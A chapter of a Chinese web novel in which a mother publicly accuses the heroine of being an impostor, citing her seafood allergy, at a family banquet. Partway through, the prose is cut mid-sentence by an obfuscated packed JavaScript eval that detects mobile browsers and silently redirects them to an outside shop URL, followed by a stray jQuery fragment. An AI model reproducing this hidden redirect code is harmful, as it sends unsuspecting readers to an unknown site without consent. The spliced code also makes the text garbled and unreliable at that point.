白氏豁然抬头,一双眼似淬了毒,恶狠狠扒在姜抒寒身上。
她今日穿了身素色,在墨色下颇为醒目,灯笼的红暗融于身后,宛若即将破狱而出的厉鬼。
姜抒寒面不改色,抬手欲接过白氏手中的木盒。
“累了就歇息,我帮您端。”
“不敢劳烦少夫人。”白氏忍下怒火,扭开了身。
两人擦肩而过,姜抒寒放下手,低头,掩住了眸里的寒意。
白氏啊白氏,你可莫要令我失望呐……
天寒夜浓,席上的热闹却不减分好,不少欲走的宾客见姜抒寒来了,又纷纷按耐住性子坐下了。
姜抒寒的席位是另添的,与白氏同席,丫鬟单独传菜,一趟又一趟,楚巧怜眼尖,发现独独落下了一道菜,东珠蚌肉。
楚巧怜知道轮到自己出声了。
她是北地人,不知少夫人吃食上的忌讳,不奇怪。
可如此一来……
“咳!”白氏清了清嗓,有意无意看了过来。
楚巧怜攥紧了筷子,深吸了口气。
“咦?”
楚巧怜提高了音,趁着传菜的丫鬟还未离去,刻意问道:“姜夫人不是还特意备了道菜,怎的不请少夫人尝尝?”
“这……”白氏面上为难,望了眼姜抒寒,“这菜,少夫人怕是不喜。”
“哦?既是母亲特意备的,那就端上来吧。”姜抒寒心知正题来了。
“这菜是不错,食材鲜,您尝……”欲追捧姜抒寒的宾客忽而意识到对方忌口,急忙改口,“是瞧,瞧瞧,您妹妹爱吃的。”
“妹妹?”姜抒寒挑了挑眉,“我倒是不知,何时还有了妹妹?”
此话一出,宴上霎时一静。
“你当然没有。”
在这静不可闻只余风声呼啸的宴上,白氏轻巧放下玉盏,端起了早已放置在一旁的木盒。
她身后的帷幔已经被吹得鼓起来了,“嘶啦”一声,帷幔的一边被折屏勾住,撕扯开来。
“你当然没有啊,少夫人。”
“此话何解?”
“何解?”
正在此时,端着那盘东珠蚌肉的厨娘也正巧赶到了。
“少夫人。”厨娘满头大汗赶来,急切邀功似的,掀开了笼盖。
“这一道,便是东珠蚌肉。”
姜抒寒转过头,视线落下。
“哐当!”
折屏被帷幔带倒在地,狂风直直灌入宴席,惊起一片狼藉。
“哎!我的裙子!”
“碗!收碗!碎了!”
丫鬟婆子也都跟着慌了起来。
“哈哈哈哈哈哈……哈哈哈哈哈哈哈……”
白氏站起身,将木盒举起,大笑出声,她仰起头,似在享受着这一刻的狂风大作。
笑罢,她居高临下道:“我女儿自小就爱吃蚌肉,可自四年前,她就厌了这道菜,这是为何?”
白氏弯下腰,手指颤抖得抚上女子发髻:“寒儿,告诉阿娘好不好?”
“姜夫人自重。”
榴花忍不住上前,用身体隔开了人。
“姜夫人她这是……她这是疯了吗?”
宾客吓得花容失色,有的甚至直接从席上起身。
风太大了,丫鬟婆子勉强将折扇扶起,可宴上人的心思却都乱了。
格格不入的只有楚巧怜一人。
没尖叫恐惧,没整理衣衫,只盯着姜抒寒。
盯着那个还望着那道菜,一动也不动的身影。
“这是阿娘的心意,不能浪费,不能浪费。”嘈杂中,白氏依旧不管不顾,见对面人并不看她,干脆放下手中木盒,去端玉盘。
她缓缓靠近,靠近……
“哐当!”
盘子被一手打翻在地,清脆又刺耳。
“滚!”
姜抒寒甩袖起身,拼命压下干呕感。
“你根本就不是我的女儿!”白氏突然爆发,扑上前。
榴花眼神一凌,伸手制住了白氏。
“你根本就不是我姜家的女儿,我姜家的女儿在那儿!”
白氏指着木盒大吼道:“我姜家的女儿早就死了!”
“是你!占了我女儿的身子!是你个贱……”
“岳母大人!”
众人还没从这惊骇中回神,院外忽而传来一道男音。
浓墨遮月,帷幔飞舞,漫天而卷的风袭过火盆,高溅起大片大片的火星与浓烟。
融融火色模糊了廊口,男子未提灯笼,拾阶而下,只奔主座。
他来到姜抒寒身边,看了眼人,才抬头问起白氏。
“姜家设宴,这是唱的哪出?”
与其一同而至的,还有小跑赶来的守安和面色虚弱的苏氏。
“大少夫人!”姜家的丫鬟婆子如蒙大赦。
“少主您可总算来了。”
见着今日谋划的主角,白氏总算清醒了几分。
她撇了眼浑身发抖,胸口剧烈起伏的姜抒寒,平静道:“崔家当日要娶的,是姜家女吧?”
“姜夫人这话的意思是……”
“姜夫人之意,是我并非姜家女。”
姜抒寒总算回过神,缓缓闭眸平复情绪,可鼻腔的腥味还是挥之不去。
她下意识想克制,却又不断提醒自己崔孟清在身旁。
今日的目的,莫要忘了。
一切交给苏氏。
“呕……”
姜抒寒到底忍不住,攀住榴花的肩,蜷缩下身。
“主子!”榴花吓得冒出了眼花。
“呕……”
“榴花,去打水!”一直跟着苏氏过来的红螺见宴上场面稳了些,赶忙跑过来扶住主子。
崔孟清错愕:“你……”
“你走开!”姜抒寒避开了崔孟清的手。
“你当她为何如此。”白氏冷笑,眼中闪过一丝快意。“因着她并非姜家女,她的喜好与我女相斥,却又为了冒充,吃下了整整一席的蚌肉。”
“那是你们逼主子的!”红螺眼眶通红,满是恨意。
“那她也可以不吃啊!哈哈哈哈哈哈!”
白氏又疯了起来,双手突然攥住崔孟清的衣袖:“她不是姜家女!快休了她!快休了她!”
“干什么呢!”守安一把扯开白氏双手。
“母亲!”苏氏接住了人,直朝崔孟清行礼,“少主恕罪,我母亲她疯了数日,偷偷瞒着我设宴,少主恕罪!”
她也是个爽利人,见崔孟清没开口怪罪,厉声道:“还不把夫人扶下去歇息!”
“是!”底下人如梦初醒。
“谁敢!”白氏瞪大眼,分外抗拒,“我是姜家主母!我……唔!”
底下人不是没脑子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772989|208859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,心知白氏再当着少主面闹下去,后果不堪设想,两个婆子一左一右将白氏架了回去。
风小了许多,场面也静下来,没了白氏的闹腾,苏氏转过身去搀扶姜抒寒,另一只手接过榴花打来的水盆,她浸润了手上的帕子,擦了擦姜抒寒额上的汗。
“好了。”姜抒寒夺回了帕子,放在鼻头。
她扶着榴花的手起身,看也不曾看一眼崔孟清,只淡淡道:“让她同你解释。”
“去哪儿?”崔孟清叫住了人。
姜抒寒没理。
此时宴上的人都被苏氏遣散好声好气送走了,故而姜抒寒走得顺畅。
苏氏偷偷打量崔孟清,却也瞧不出对方是何反应,只得依姜抒寒吩咐,硬着头皮道:“母亲所言纯属无稽之谈,长姐儿时就不喜欢吃水里的东西,可母亲性子执拗,非要强迫人吃。长姐也是因着此事,生了厌。”
苏氏的话渐渐消失在风中,姜抒寒领着两个丫鬟穿过游廊,来到了姜家的湖。
眼下快入冬了,荷花也早就枯萎,姜抒寒随意找了块地蜷缩着坐下,双手抱膝,望着湖面发呆。
“都去那边守着吧。”
“是。”
姜抒寒看着湖面,又凑近了些,伸出手去碰了碰水。
嘶!
真凉!
她当初,到底是如何狠下心,跳下去的。
姜抒寒察觉自个儿已经没了玉石俱焚的勇气。
同崔孟清定下婚事的那段日子于姜抒寒而言,是极其痛苦的。
不仅仅是因为她发现崔孟清这个反派就是与她相识一年的少年,更因为她发现了一个秘密。
她不是姜家人。
她不是魂穿。
她原身就海鲜过敏。
她万万没想到,就是这么一件小事,让她发现了被蒙在鼓的真相。
这个秘密的起初,是因着白氏。
她原本也以为白氏就如同丫鬟婆子说的那般,厌恶姜大小姐,所以看着她的目光,才每每都是冷漠与嫌弃。
然而二弟因着山匪之事的泄露而道歉,让她发现了一个长命锁。
“这是你的?”
她捡起不小心掉落在地上的长命锁。
“这是夫人儿时挂在二少爷身上的。”一旁的婆子快言快语,道破了真相,令姜抒寒不可置信。
“夫人给的?”
“是啊,这锁是夫人命娘家亲手打的,独一无二呢!”
姜抒寒抚了抚长命锁上的小铃铛,心中确信,她住的屋子一定也有,因为她见过这个银铃铛。
如果真的厌弃,那为何要给女儿打这长命锁?
姜家所言的自小与人不亲近,若是真的,那几分真,几分假呢?
她不寒而栗,察觉穿书远没有她想得那般简单。
冰冷机械只会发布任务的系统。
毫无察觉待人亲近热切的姜家。
还有似乎水到渠成般嫁给反派的走向。
到底是为什么?
她这一回的目的,也是想看看崔孟清如何反应。
姜家与崔家,有没有某种暗地的联系、崔孟清,到底知不知道她不是姜家女。
姜抒寒听着逐渐靠近的脚步声,转过头。
湖面黯淡无光,女子就这样随意坐在杂草旁,注视着迎面走来的夫君。
“白氏说的都是真的。”